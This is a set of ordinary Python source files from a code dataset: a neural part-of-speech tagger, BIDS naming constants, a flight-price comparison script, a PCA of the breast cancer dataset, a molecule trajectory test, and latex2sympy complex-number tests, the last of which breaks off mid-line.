6\r\n\r\n lCRF = self.wCRF.viterbi_one_hot(lConcatenate)\r\n\r\n result.append(lCRF) # i = 7\r\n\r\n return result\r\n\r\n def initialize(self):\r\n\r\n self.wEmbedding = utility.Embedding(self.word2id, self.model.get_layer('Embedding').get_weights())\r\n\r\n# self.wConv1D0 = utility.Conv1D(self.model.get_layer('Conv1D0').get_weights())\r\n# self.wConv1D1 = utility.Conv1D(self.model.get_layer('Conv1D1').get_weights())\r\n# self.wConv1D2 = utility.Conv1D(self.model.get_layer('Conv1D2').get_weights())\r\n\r\n self.wLSTM = utility.BiLSTM(self.model.get_layer('LSTM').get_weights(), 'sum')\r\n self.wLSTM1 = utility.BiLSTM(self.model.get_layer('LSTM1').get_weights(), 'sum')\r\n self.wLSTM2 = utility.BiLSTM(self.model.get_layer('LSTM2').get_weights(), 'sum')\r\n\r\n self.wGRU = utility.BiGRU(self.model.get_layer('GRU').get_weights(), 'sum')\r\n\r\n self.wCRF = utility.CRF(self.model.get_layer('CRF').get_weights())\r\n\r\n def pos_mask(self, pos, batch=False):\r\n mask = []\r\n\r\n if batch:\r\n for sent in pos:\r\n mask.append(self.pos_mask(sent))\r\n return utility.format_data(mask, False)\r\n\r\n for possible_tags in pos:\r\n assert possible_tags\r\n mask_i = [False] * len(self.tag2id)\r\n for tag in possible_tags:\r\n mask_i[self.tag2id[tag]] = True\r\n mask.append(mask_i)\r\n\r\n return utility.format_data(mask)\r\n\r\n def predictWithNumpy(self, seg, pos=None):\r\n if not hasattr(self, 'wEmbedding'):\r\n self.initialize()\r\n\r\n lEmbedding, mask = self.wEmbedding.call(seg, True)\r\n\r\n batch = len(lEmbedding.shape) == 4\r\n if batch:\r\n lEmbedding = np.concatenate([np.expand_dims(self.wGRU.call(lEmbedding[:, i], False, mask[:, i]), 1) for i in range(lEmbedding.shape[1])], 1)\r\n mask = mask.any(axis=2)\r\n else:\r\n lEmbedding = np.array([self.wGRU.call(vector, False, m) for vector, m in zip(lEmbedding, mask)])\r\n mask = mask.any(axis=1)\r\n\r\n lLSTM = self.wLSTM.call(lEmbedding, True, mask)\r\n\r\n lLSTM = self.wLSTM1.call(lLSTM, True, mask)\r\n sentEmbedding = self.wLSTM2.call(lLSTM, True, mask)\r\n\r\n# lCNN = self.wConv1D0.call(lEmbedding)\r\n# lCNN = self.wConv1D1.call(lCNN)\r\n# lCNN = self.wConv1D2.call(lCNN)\r\n# sentEmbedding = np.concatenate([lLSTM, lCNN], axis=1)\r\n\r\n lCRF = self.wCRF.call(sentEmbedding, mask, None if pos is None else self.pos_mask(pos, batch))\r\n\r\n if len(lCRF.shape) > 1 :\r\n return [[self.id2tag[t] for t in sent if t >= 0] for sent in lCRF]\r\n else:\r\n return [self.id2tag[t] for t in lCRF]\r\n\r\n def predictLossWithNumpy(self, x, y):\r\n if not hasattr(self, 'wEmbedding'):\r\n self.initialize()\r\n lEmbedding, mask = self.wEmbedding.call(x, True)\r\n\r\n if len(lEmbedding.shape) == 4:\r\n lEmbedding = np.concatenate([np.expand_dims(self.wGRU.call(lEmbedding[:, i], False, mask[:, i]), 1) for i in range(lEmbedding.shape[1])], 1)\r\n mask = mask.any(axis=2)\r\n y = utility.format_data([[self.tag2id[t] for t in sent] for sent in y])\r\n else:\r\n lEmbedding = np.array([self.wGRU.call(vector, False, m) for vector, m in zip(lEmbedding, mask)])\r\n mask = mask.any(axis=1)\r\n y = [self.tag2id[t] for t in y]\r\n\r\n lLSTM = self.wLSTM.call(lEmbedding, True, mask)\r\n\r\n lLSTM = self.wLSTM1.call(lLSTM, True, mask)\r\n sentEmbedding = self.wLSTM2.call(lLSTM, True, mask)\r\n\r\n# lCNN = self.wConv1D0.call(lEmbedding)\r\n# lCNN = self.wConv1D1.call(lCNN)\r\n# lCNN = self.wConv1D2.call(lCNN)\r\n# sentEmbedding = np.concatenate([lLSTM, lCNN], axis=1)\r\n\r\n return self.wCRF.loss(sentEmbedding, y, mask)\r\n\r\n def debug(self):\r\n self.create_model_debug()\r\n self.model.load_weights(self.modelFile)\r\n self.initialize()\r\n arr = MySQL.instance.select_tbl_syntax_cn(1000)\r\n\r\n arr[0] = '(竟然/AD/adv)还有/VC/root((错别字/NN/adj)(太/AD/adj)过份/NN/va)(了/AS/ij)'\r\n for s in map(compiler.parse, arr):\r\n s = [word.split('/')[0] for word in s]\r\n\r\n result = self.debugWithNumpy(s)\r\n\r\n _result = self.model.predict(np.array(utility.format_data([self.string2id(s)])))\r\n\r\n _result = [r[0] for r in _result]\r\n assert len(result) == len(_result)\r\n for i in range(len(result)):\r\n assert result[i].shape == _result[i].shape\r\n if abs(result[i] - _result[i]).max() > 1e-4:\r\n print('i =', i)\r\n print('abs =', abs(result[i] - _result[i]))\r\n print('max =', abs(result[i] - _result[i]).max())\r\n\r\n assert abs(result[i] - _result[i]).max() < 1e-4\r\n\r\n# _result = self.debugWithNumba(sOriginal)\r\n#\r\n# assert len(result) == len(_result)\r\n# for i in range(len(result)):\r\n# assert result[i].shape == _result[i].shape\r\n# if abs(result[i] - _result[i]).max() > 1e-5:\r\n# print('i =', i)\r\n# print('abs =', abs(result[i] - _result[i]))\r\n# print('max =', abs(result[i] - _result[i]).max())\r\n#\r\n# assert abs(result[i] - _result[i]).max() < 1e-5\r\n# _result = com.deeplearning.self.instance.predictDebug(sOriginal) # @UndefinedVariable\r\n# _result = utility.reshape(_result, result)\r\n# assert len(result) == len(_result)\r\n# for i in range(len(result)):\r\n# if abs(result[i] - _result[i]).max() > 1e-5:\r\n# print('i =', i)\r\n# print('abs =', abs(result[i] - _result[i]))\r\n# print('max =', abs(result[i] - _result[i]).max())\r\n#\r\n# assert abs(result[i] - _result[i]).max() < 1e-5\r\n print('successful!')\r\n\r\n def testTrainingSet(self):\r\n arr = MySQL.instance.select_tbl_syntax_cn(10000, shuffle=True)\r\n\r\n print('testing pos with numba')\r\n err = 0\r\n sgm = 0\r\n\r\n beg = time.time()\r\n with open(self.debugfile, 'w', encoding='utf-8') as file:\r\n for s in arr:\r\n sSegmentation = utility.convertToSegmentation(s)\r\n sOriginal = utility.convertToOriginal(sSegmentation)\r\n sPredict = self.predictWithNumba(sOriginal)\r\n if sPredict != sSegmentation:\r\n print(sOriginal, file=file)\r\n print(' '.join(sSegmentation), file=file)\r\n print(' '.join(sPredict), file=file)\r\n err += 1\r\n sgm += 1\r\n print('err =', err)\r\n print('sgm =', sgm)\r\n print('acc =', (sgm - err) / sgm)\r\n print('totally cost', time.time() - beg)\r\n\r\n print('testing pos with numpy')\r\n err = 0\r\n sgm = 0\r\n\r\n beg = time.time()\r\n with open(self.debugfile, 'w', encoding='utf-8') as file:\r\n for s in arr:\r\n sSegmentation = utility.convertToSegmentation(s)\r\n sOriginal = utility.convertToOriginal(sSegmentation)\r\n sPredict = self.predictWithNumpy(sOriginal)\r\n if sPredict != sSegmentation:\r\n print(sOriginal, file=file)\r\n print(' '.join(sSegmentation), file=file)\r\n print(' '.join(sPredict), file=file)\r\n err += 1\r\n sgm += 1\r\n print('err =', err)\r\n print('sgm =', sgm)\r\n print('acc =', (sgm - err) / sgm)\r\n print('totally cost', time.time() - beg)\r\n\r\n# self.model.evaluate_generator(generator)\r\n\r\n def verwahren(self):\r\n# https://docs.python.org/3.5/library/struct.html?highlight=struct#format-wordacters\r\n with open(self.tmpBinary, 'wb') as file:\r\n# Big Endian: Most Significant Byte at the lowest byte order\r\n utility.writeCharDict(file, self.word2id)\r\n utility.writeArray(file, self.wEmbedding)\r\n self.wLSTM.write(file)\r\n\r\n utility.writeArray(file, self.wCNN0)\r\n utility.writeArray(file, self.bCNN0)\r\n utility.writeArray(file, self.wCNN1)\r\n utility.writeArray(file, self.bCNN1)\r\n\r\n self.wCRF.write(file)\r\n\r\n with open(self.tmpBinary, 'rb') as file:\r\n assert utility.readCharDict(file) == self.word2id\r\n assert (utility.readArray(file, 2) == self.wEmbedding).all()\r\n assert self.wLSTM == utility.LSTM.read(file)\r\n\r\n assert (utility.readArray(file, 3) == self.wCNN0).all()\r\n assert (utility.readArray(file, 1) == self.bCNN0).all()\r\n\r\n assert (utility.readArray(file, 3) == self.wCNN1).all()\r\n assert (utility.readArray(file, 1) == self.bCNN1).all()\r\n\r\n assert self.wCRF == utility.CRF.read(file)\r\n\r\n def isPOSsequence(self, strs):\r\n for e in strs:\r\n if e.upper() in self.tag2id.keys():\r\n continue\r\n else:\r\n return False\r\n\r\n return True\r\n\r\n\r\nclass EmbeddingsInitializer(keras.initializers.Initializer):\r\n \"\"\"Initializer that generates tensors initialized to 0.\r\n \"\"\"\r\n\r\n def __call__(self, shape):\r\n corpus = MySQL.instance.select_tbl_syntax_cn()\r\n corpus = [[*compiler.parse_strict(infix)][0] for infix in corpus]\r\n charSet = set(char for sent in corpus for word in sent for char in word)\r\n\r\n charSet.add('\\0')\r\n\r\n indices = sorted(ord(ch) for ch in charSet)\r\n\r\n dimension = shape[-1]\r\n\r\n row = []\r\n col = []\r\n\r\n for index in indices:\r\n row += [index] * dimension\r\n col += range(dimension)\r\n\r\n values = np.random.randn(len(indices) * dimension) * 0.01\r\n return coo_matrix((values, (np.array(row), np.array(col))), shape=shape, dtype=np.float32)\r\n# return tf.SparseTensor(indices=[*zip(row, col)], values=values, dense_shape=shape)\r\n\r\n\r\nif __name__ == '__main__':\r\n ...\r\n","sub_path":"sequence/part_of_speech.py","file_name":"part_of_speech.py","file_ext":"py","file_size_in_byte":22621,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"629047684","text":"# Copyright (C) 2022-2023, The HIP team and Contributors, All rights reserved.\n# This software is distributed under the open-source Apache 2.0 license.\n\n\"\"\"Define constants used by packages of `bids_tools.bids`.\"\"\"\n\nBIDS_VERSION = \"v1.7.0\"\n\nBIDS_ENTITY_MAP = {\n \"subject\": \"sub\",\n \"session\": \"ses\",\n \"task\": \"task\",\n \"run\": \"run\",\n \"acquisition\": \"acq\",\n \"reconstruction\": \"rec\",\n \"ceagent\": \"ce\",\n \"direction\": \"dir\",\n \"space\": \"space\",\n \"proc\": \"proc\",\n \"modality\": \"mod\",\n \"recording\": \"recording\",\n \"staining\": \"stain\",\n \"tracer\": \"trc\",\n \"sample\": \"sample\",\n \"echo\": \"echo\",\n \"flip\": \"flip\",\n \"inv\": \"inv\",\n \"mt\": \"mt\",\n \"part\": \"part\",\n \"chunk\": \"chunk\",\n \"resolution\": \"res\",\n}\n\nBIDSJSONFILE_DATATYPE_KEY_MAP = {\n \"anat\": \"AnatJSON\",\n \"func\": \"FuncJSON\",\n \"dwi\": \"DWIJSON\",\n \"eeg\": \"EEGJSON\",\n \"meg\": \"MEGJSON\",\n \"ieeg\": \"IeegJSON\",\n}\n\nBIDSTSVFILE_DATATYPE_KEY_MAP = {\n \"eeg\": \"EEGChannelsTSV\",\n \"meg\": \"MEGChannelsTSV\",\n \"ieeg\": \"IeegChannelsTSV\",\n}\n\nVALID_EXTENSIONS = [\n \".nii\",\n \".nii.gz\",\n \".edf\",\n \".eeg\",\n \".set\",\n \".mgz\",\n]\n","sub_path":"bids_tools/bids/const.py","file_name":"const.py","file_ext":"py","file_size_in_byte":1151,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"591862804","text":"# Copyright (c) 2019 Cheng Li\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n#\n\nimport logging\nimport yaml\nimport eventlet\nimport json\nimport argparse\n\nimport cities\nimport ctrip\n\nconfig = {}\nall_cities = []\n\n\ndef _setup_logger(level=logging.INFO):\n root_logger = logging.getLogger()\n root_logger.setLevel(level)\n handler = logging.StreamHandler()\n fmt = logging.Formatter(fmt='%(asctime)s %(threadName)s %(name)s '\n '%(levelname)s: %(message)s',\n datefmt='%F %H:%M:%S')\n handler.setFormatter(fmt)\n root_logger.addHandler(handler)\n\n\ndef per_city_prices(dest_info):\n logging.info('Dealing with city: {}'.format(dest_info['cityname']))\n her_leave_prices = ctrip.lowest_prices(\n {'depart': config['her_city'], 'arrive': dest_info},\n config['leave_time_info'],\n config['train_enabled'])\n her_back_prices = ctrip.lowest_prices(\n {'depart': dest_info, 'arrive': config['her_city']},\n config['back_time_info'],\n config['train_enabled'])\n my_leave_prices = ctrip.lowest_prices(\n {'depart': config['my_city'], 'arrive': dest_info},\n config['leave_time_info'],\n config['train_enabled'])\n my_back_prices = ctrip.lowest_prices(\n {'depart': dest_info, 'arrive': config['my_city']},\n config['back_time_info'],\n config['train_enabled'])\n prices = []\n if not all([her_leave_prices, her_back_prices,\n my_leave_prices, my_back_prices]):\n logging.warn('Dest unreachable: {}'.format(dest_info['cityname']))\n return prices\n for her_leave in her_leave_prices:\n for her_back in her_back_prices:\n for my_leave in my_leave_prices:\n for my_back in my_back_prices:\n sum_price = sum(\n p['price'] for p in [\n her_back,\n her_leave,\n my_back,\n my_leave])\n this_price = {\n 'dest': dest_info['cityname'],\n 'sum_price': sum_price,\n config['her_name']: [her_leave, her_back],\n 'me': [my_leave, my_back]\n }\n prices.append(this_price)\n return prices\n\n\ndef meet_prices(tops=1000):\n all_prices = []\n pool = eventlet.GreenPool(int(config['concurrency']))\n for city_prices in pool.imap(per_city_prices, all_cities):\n all_prices.extend(city_prices)\n return sorted(all_prices, key=lambda x: x.get('sum_price'))[:tops]\n\n\ndef init_meet():\n parser = argparse.ArgumentParser(\n description='Calculate lowest airplane price between two cities.'\n 'Result is placed in result.json in json format',\n formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n parser.add_argument(\"-v\", \"--verbosity\", action=\"count\", default=0,\n help=\"increase output verbosity\")\n parser.add_argument('--config', '-c', default='/etc/lets-meet.yaml',\n help='the config file')\n args = parser.parse_args()\n\n if args.verbosity > 1:\n log_level = logging.DEBUG\n elif args.verbosity == 1:\n log_level = logging.INFO\n else:\n log_level = logging.WARNING\n _setup_logger(level=log_level)\n\n global config, all_cities\n with open(args.config, 'rb') as fd:\n config = yaml.load(fd.read())\n logging.info(config)\n all_cities = json.loads(cities.CITIES)\n her_city = [city for city in all_cities\n if city['cityname'] == config['her_cityname']]\n my_city = [city for city in all_cities\n if city['cityname'] == config['my_cityname']]\n if not her_city or not my_city:\n logging.error('city name not found, exiting')\n import sys\n sys.exit()\n else:\n her_city = her_city[0]\n my_city = my_city[0]\n back_time_start = ' '.join([config['back_day'], config['back_time_start']])\n back_time_end = ' '.join([config['back_day'], config['back_time_end']])\n leave_time_start = ' '.join(\n [config['leave_day'], config['leave_time_start']])\n leave_time_end = ' '.join([config['leave_day'], config['leave_time_end']])\n leave_time_info = {\n 'date': config['leave_day'],\n 'before': leave_time_end,\n 'after': leave_time_start,\n 'train_minutes': int(config['train_minutes'])}\n back_time_info = {\n 'date': config['back_day'],\n 'before': back_time_end,\n 'after': back_time_start,\n 'train_minutes': int(config['train_minutes'])}\n config.update({\n 'her_city': her_city,\n 'my_city': my_city,\n 'leave_time_info': leave_time_info,\n 'back_time_info': back_time_info})\n\n\ndef main():\n init_meet()\n result_json = json.dumps(meet_prices(), indent=2, ensure_ascii=False)\n with open('result.json', 'w') as fd:\n fd.write(result_json)\n print('Result is saved in result.json')\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"lets_meet/shell.py","file_name":"shell.py","file_ext":"py","file_size_in_byte":6096,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"5918847","text":"# coding: utf-8\n\n# Gather breast cancer data\n\nfrom sklearn.datasets import load_breast_cancer\nbreast_cancer = load_breast_cancer()\nbreast_cancer_data = breast_cancer.data\nbreast_cancer_labels = breast_cancer.target\n\n\n# Prepare data as pandas dataframe\n\n\nimport numpy as np\nlabels = np.reshape(breast_cancer_labels,(569,1))\nfinal_breast_cancer_data = np.concatenate([breast_cancer_data,labels],axis=1)\n\nimport pandas as pd\nbreast_cancer_dataset = pd.DataFrame(final_breast_cancer_data)\nfeatures = breast_cancer.feature_names\nfeatures_labels = np.append(features,'label')\nbreast_cancer_dataset.columns = features_labels\n\n\n# Replace 0,1 label by medical terminology (Benign = cancer false, Malignant = cancer true)\n\nbreast_cancer_dataset['label'].replace(0, 'Benign',inplace=True)\nbreast_cancer_dataset['label'].replace(1, 'Malignant',inplace=True)\n\n# Standardize data by setting mean to 0 and standard deviation to 1\n\nfrom sklearn.preprocessing import StandardScaler\n\nX, Y = breast_cancer_dataset.drop(columns='label'), breast_cancer_dataset['label']\nX_norm = StandardScaler().fit_transform(X)\n\n\n# PCA, covariance matrix and eigenvalues/eigenvectors of covariance matrix\n\n\nfrom sklearn.decomposition import PCA\nimport time\n\ntime_start = time.time()\n\nn_comp = 0.9\npca_breast_cancer = PCA(n_components=n_comp)\nprincipal_components = pca_breast_cancer.fit_transform(X_norm,Y)\n\nprint('Time elapsed: {} seconds'.format(round(time.time()-time_start,4)))\n\n# cov = pca_breast_cancer.get_covariance()\n# eig_vals, eig_vecs = np.linalg.eig(cov)\n\n# Prepare and export transformed dataset with principal components and labels\n\npc_labels = []\nfor i in range(0,pca_breast_cancer.singular_values_.size):\n pc_labels.append(\"principal component \" + str(i+1)) \n\nprincipal_components_df = pd.DataFrame(data = principal_components, columns = pc_labels)\nprincipal_components_df['label'] = Y\n# principal_components_df.to_csv('pc_breast_cancer_dataset.csv',index=False)\n\n\n# Visualize results\n\ndata = {\"Principal component\":pc_labels, \n \"Explained variance ratio\":np.around(pca_breast_cancer.explained_variance_ratio_,2)}\npca_result = pd.DataFrame(data=data).sort_values(by=[\"Explained variance ratio\"],ascending=False)\nprint('Explained variance ratio per principal component:\\n{}\\n'.format(pca_result))\n\n\n# print('Tail of principal components: {}\\n'.format(principal_components_df.tail()))\n# print('30 eigenvalues: {}'.format(eig_vals))\n\n\n# Plot the top two principal components and color according to labels\n\n\nimport matplotlib.pyplot as plt\nplt.figure()\nplt.figure(figsize=(10,10))\nplt.xticks(fontsize=12)\nplt.yticks(fontsize=14)\nplt.xlabel('Principal Component 1',fontsize=20)\nplt.ylabel('Principal Component 2',fontsize=20)\nplt.title(\"Principal Component Analysis of Breast Cancer Dataset\",fontsize=20)\ntargets = ['Benign', 'Malignant']\ncolors = ['g', 'r']\nfor target, color in zip(targets,colors):\n indicesToKeep = breast_cancer_dataset['label'] == target\n plt.scatter(principal_components_df.loc[indicesToKeep, 'principal component 1'],\n principal_components_df.loc[indicesToKeep, 'principal component 2'], \n c = color, \n s = 50)\n\nplt.legend(targets,prop={'size': 15})\n\n\n\n\n\n\n","sub_path":"DataAnalysis/BreastCancerPCAAnalysis.py","file_name":"BreastCancerPCAAnalysis.py","file_ext":"py","file_size_in_byte":3216,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"207526632","text":"\"\"\"\n--- Ångström ---\nTests reading xyz trajectory.\n\"\"\"\nfrom angstrom import Trajectory, Molecule\nimport numpy as np\nimport os\n\n\nbenzene_xyz = os.path.join(os.path.abspath(os.path.dirname(__file__)), 'benzene.xyz')\n\n\ndef test_trajectory_from_molecule():\n \"\"\"Tests converting Molecule to Trajectory object\"\"\"\n benzene = Molecule(read=benzene_xyz)\n benzene_traj = Trajectory(molecule=benzene)\n assert len(benzene_traj) == 1\n assert benzene_traj.name == 'benzene'\n assert np.shape(benzene_traj.coordinates) == (1, 12, 3)\n assert np.shape(benzene_traj.atoms) == (1, 12)\n\n # Test atom names are read correctly\n for frame in benzene_traj:\n assert len(frame.coordinates) == 12\n for atom, ref_atom in zip(frame.atoms, benzene.atoms):\n assert atom == ref_atom\n","sub_path":"tests/test_trajectory_init.py","file_name":"test_trajectory_init.py","file_ext":"py","file_size_in_byte":804,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"519425664","text":"from sympy import *\nfrom latex2sympy.latex2sympy import process_sympy\nfrom latex2sympy.lib import parseToJson\n\nMAX_PREC = 631\n\nlatex_strings = [\n # '4+3I',\n # '4.1+3.2I',\n # '50(\\\\cos(60\\\\frac{\\\\pi}{180})+I\\\\sin(60\\\\frac{\\\\pi}{180}))',\n # '50e^{I60\\\\frac{\\\\pi}{180}}'\n '\\\\variable{a}\\\\angle \\\\variable{b}',\n '\\\\variable{a}\\\\angle \\\\variable{b}\\\\degree ',\n '3+4\\\\imaginaryI ',\n '-3-4\\\\imaginaryI',\n '3+\\\\imaginaryI 4',\n '3+\\\\imaginaryJ 4',\n '50\\\\angle 2\\\\pi ',\n '50\\\\angle 2.1\\\\pi ',\n '50\\\\angle \\\\frac{\\\\pi}{4} ',\n '50\\\\angle -3.14',\n '5\\\\sqrt{2}\\\\angle 60\\\\degree '\n]\n\nfor s in latex_strings:\n print('json => ', parseToJson(s))\n expr = process_sympy(s)\n print('latex => ', s)\n print('sympy =>', expr)\n print('srepr =>', srepr(expr))\n print('as_real_imag =>', expr.as_real_imag())\n print('re =>', re(expr))\n print('im =>', im(expr))\n print('arg =>', arg(expr))\n print('Abs =>', Abs(expr))\n print('evalf =>', expr.evalf(chop=True))\n print('====================================')\n\n\ndef compute_expr(expr):\n evaluated_value = expr.doit().evalf(chop=True, n=MAX_PREC).round(15)\n try:\n rational_value = Rational(str(evaluated_value))\n return rational_value\n except Exception as e:\n # print(e)\n return evaluated_value\n\n\nprint('math example problem')\nprint('====================================')\n\n# enter the variables here\n# ------------------------\n\n# $PT=&random(8,12,1);\n# $pf=&random(0.75,0.85,0.025);\n# $VLL=&random(9,12,1);\n# $Ra=&random(0.10,0.20,0.01);\n# $Xs=&random(0.55,0.01,0.66);\n# $pf2=&random(0.9,0.95,0.01);\n\n# $PT=8\n# $pf=0.75\n# $VLL=10\n# $Ra=0.2\n# $Xs=0.55\n# $pf2=0.92\n\nPT = process_sympy('8')\npf = process_sympy('0.75')\nVLL = process_sympy('10')\nRa = process_sympy('0.2')\nXs = process_sympy('0.55')\npf2 = process_sympy('0.92')\n\nvariable_values = {\n 'PT': PT,\n 'pf': pf,\n 'VLL': VLL,\n 'Ra': Ra,\n 'Xs': Xs,\n 'pf2': pf2\n}\n\nprint('variables:', [(key, value) for key, value in variable_values.items()])\n\n# enter the calculations here\n# ---------------------------\n\n# Calculations to set up problem variables - same as Skill Builder 3.1.8\n# $P=$PT*1E6/3;\n# $P=2666666.66666667\nP_expr = process_sympy('\\\\variable{PT}*1E6/3', variable_values=variable_values)\nP = compute_expr(P_expr)\nprint('P =', P, ', evalf() =>', P.evalf(), ', expected = 2666666.66666667')\n\n# $VT=$VLL/sqrt(3)*1E3;\n# $VT=5773.50269189626\nVT_expr = process_sympy('\\\\variable{VLL}/\\\\sqrt{3}*1E3', variable_values=variable_values)\nVT = compute_expr(VT_expr)\nprint('VT =', VT, ', evalf() =>', N(VT, 15), ', expected = 5773.50269189626')\n\n# $phirad=acos($pf);\n# $phirad=0.722734247813416\nphirad_expr = process_sympy('\\\\arccos{\\\\variable{pf}}', variable_values=variable_values)\nphirad = compute_expr(phirad_expr)\nprint('phirad =', phirad, ', evalf() =>', N(phirad, 15), ', expected = 0.722734247813416')\n\n# $Imag=$P/($VT*$pf);\n# $Imag=615.840287135601\nImag_expr = process_sympy('\\\\frac{\\\\variable{P}}{\\\\variable{VT}\\\\variable{pf}}', variable_values=variable_values | {'P': P, 'VT': VT})\nImag = compute_expr(Imag_expr)\nprint('Imag =', Imag, ', evalf() =>', N(Imag, 15), ', expected = 615.840287135601')\n\n# $I=cplxe($Imag,-$phirad);\n# $I=[615.840287135601,-0.722734247813416]\n# I_var = process_sympy('\\\\variable{Imag}*(\\\\cos{-\\\\variable{phirad}}+I*\\\\sin{-\\\\variable{phirad}})', variable_values=variable_values | {'Imag': Imag, 'phirad': phirad})\nI_expr = process_sympy('\\\\variable{Imag}\\\\angle -\\\\variable{phirad}', variable_values=variable_values | {'Imag': Imag, 'phirad': phirad})\nI_var = compute_expr(I_expr)\nprint('I_var =', I_expr, ', evalf() =>', N(I_var, 15), ', expected = [615.840287135601,-0.722734247813416]')\n\n# $VR=$I*$Ra;\nVR_expr = process_sympy('\\\\variable{I}*\\\\variable{Ra}', variable_values=variable_values | {'I': I_var})\nVR = compute_expr(VR_expr)\nprint('VR =', VR, ', evalf() =>', N(VR, 15))\n\n# $VRmag=abs($VR);\n# $VRmag=123.16805742712\nVRmag_expr = process_sympy('|\\\\variable{VR}|', variable_values=variable_values | {'VR': VR})\nVRmag = compute_expr(VRmag_expr)\nprint('VRmag =', VRmag, ', evalf() =>', N(VRmag, 15), ', expected = 123.16805742712')\n\n# $VRphase=arg($VR)*180/pi;\n# $VRphase=-41.4096221092709\nVRphase_expr = process_sympy('\\\\operatorname{Arg}(\\\\variable{VR})\\\\frac{180}{\\\\pi }', variable_values=variable_values | {'VR': VR})\nVRphase = compute_expr(VRphase_expr)\nprint('VRphase =', VRphase, ', evalf() =>', N(VRphase, 15), ', expected = -41.4096221092709')\n\n# $VXS=$I*i*$Xs;\n# $VXS=224.037033975619+254.034118443435i\nVXS_expr = process_sympy('\\\\variable{I}\\\\imaginaryI \\\\variable{Xs}', variable_values=variable_values | {'I': I_var})\nVXS = compute_expr(VXS_expr)\nprint('VXS =', VXS, ', evalf() =>', N(VXS, 15), ', expected = 224.037033975619+254.034118443435i')\n\n# $VXSmag=abs($VXS);\n# $VXSmag=338.71215792458\nVXSmag_expr = process_sympy('|\\\\variable{VXS}|', variable_values=variable_values | {'VXS': VXS})\nVXSmag = compute_expr(VXSmag_expr)\nprint('VXSmag =', VXSmag, ', evalf() =>', N(VXSmag, 15), ', expected = 338.71215792458')\n\n# $VXSphase=arg($VXS)*180/pi;\n# $VXSphase=48.5903778907291\nVXSphase_expr = process_sympy('\\\\operatorname{Arg}(\\\\variable{VXS})\\\\frac{180}{\\\\pi }', variable_values=variable_values | {'VXS': VXS})\nVXSphase = compute_expr(VXSphase_expr)\nprint('VXSphase =', VXSphase, ', evalf() =>', N(VXSphase, 15), ', expected = 48.5903778907291')\n\n# $Ef=$VT+$VR+$VXS;\n# $Ef=6089.91576894222+172.566106088665i\nEf_expr = process_sympy('\\\\variable{VT}+\\\\variable{VR}+\\\\variable{VXS}', variable_values=variable_values | {'VT': VT, 'VR': VR, 'VXS': VXS})\nEf = compute_expr(Ef_expr)\nprint('Ef =', Ef, ', evalf() =>', N(Ef, 15), ', expected = 6089.91576894222+172.566106088665i')\n\n# $Efmag=abs($Ef);\n# $Efmag=6092.3602268564\nEfmag_expr = process_sympy('|\\\\variable{Ef}|', variable_values=variable_values | {'Ef': Ef})\nEfmag = compute_expr(Efmag_expr)\nprint('Efmag =', Efmag, ', evalf() =>', N(Efmag, 15), ', expected = 6092.3602268564')\n\n# $Efphase=arg($Ef)*180/pi;\n# $Efphase=1.62312006884331\nEfphase_expr = process_sympy('\\\\operatorname{Arg}(\\\\variable{Ef})\\\\frac{180}{\\\\pi }', variable_values=variable_values | {'Ef': Ef})\nEfphase = compute_expr(Efphase_expr)\nprint('Efphase =', Efphase, ', evalf() =>', N(Efphase, 15), ', expected = 1.62312006884331')\n\n# $VLLNL=sqrt(3)*$Efmag;\n# $VLLNL=10552.2774509271\nVLLNL_expr = process_sympy('\\\\sqrt{3}*\\\\variable{Efmag}', variable_values=variable_values | {'Efmag': Efmag})\nVLLNL = compute_expr(VLLNL_expr)\nprint('VLLNL =', VLLNL, ', evalf() =>', N(VLLNL, 15), ', expected = 10552.2774509271')\n\n# New Claculatins for Skill Builder 3.1.9\n# ---------------------------\n\n# $phirad2=acos($pf2);\n# $phirad2=0.402715841580661\nphirad2_expr = process_sympy('\\\\arccos{\\\\variable{pf2}}', variable_values=variable_values)\nphirad2 = compute_expr(phirad2_expr)\nprint('phirad2 =', phirad2, ', evalf() =>', N(phirad2, 15), ', expected = 0.402715841580661')\n\n# $I2=cplxe($Imag,-$phirad2);\n# $I2=[615.840287135601,-0.402715841580661]\n# I2 = process_sympy('\\\\variable{Imag}*(\\\\cos{-\\\\variable{phirad2}}+I*\\\\sin{-\\\\variable{phirad2}})', variable_values=variable_values | {'Imag': Imag, 'phirad2': phirad2})\nI2_expr = process_sympy('\\\\variable{Imag}\\\\angle -\\\\variable{phirad2}', variable_values=variable_values | {'Imag': Imag, 'phirad2': phirad2})\nI2 = compute_expr(I2_expr)\nprint('I2 =', I2, ', evalf() =>', N(I2, 15), ', expected = [615.840287135601,-0.402715841580661]')\n\n# $VXS2=$I2*i*$Xs;\n# $VXS2=132.747513054755+311.615185290614i\nVXS2_expr = process_sympy('\\\\variable{I2}\\\\imaginaryI \\\\variable{Xs}', variable_values=variable_values | {'I2': I2, 'Xs': Xs})\nVXS2 = compute_expr(VXS2_expr)\nprint('VXS2 =', VXS2, ', evalf() =>', N(VXS2, 15), ', expected = 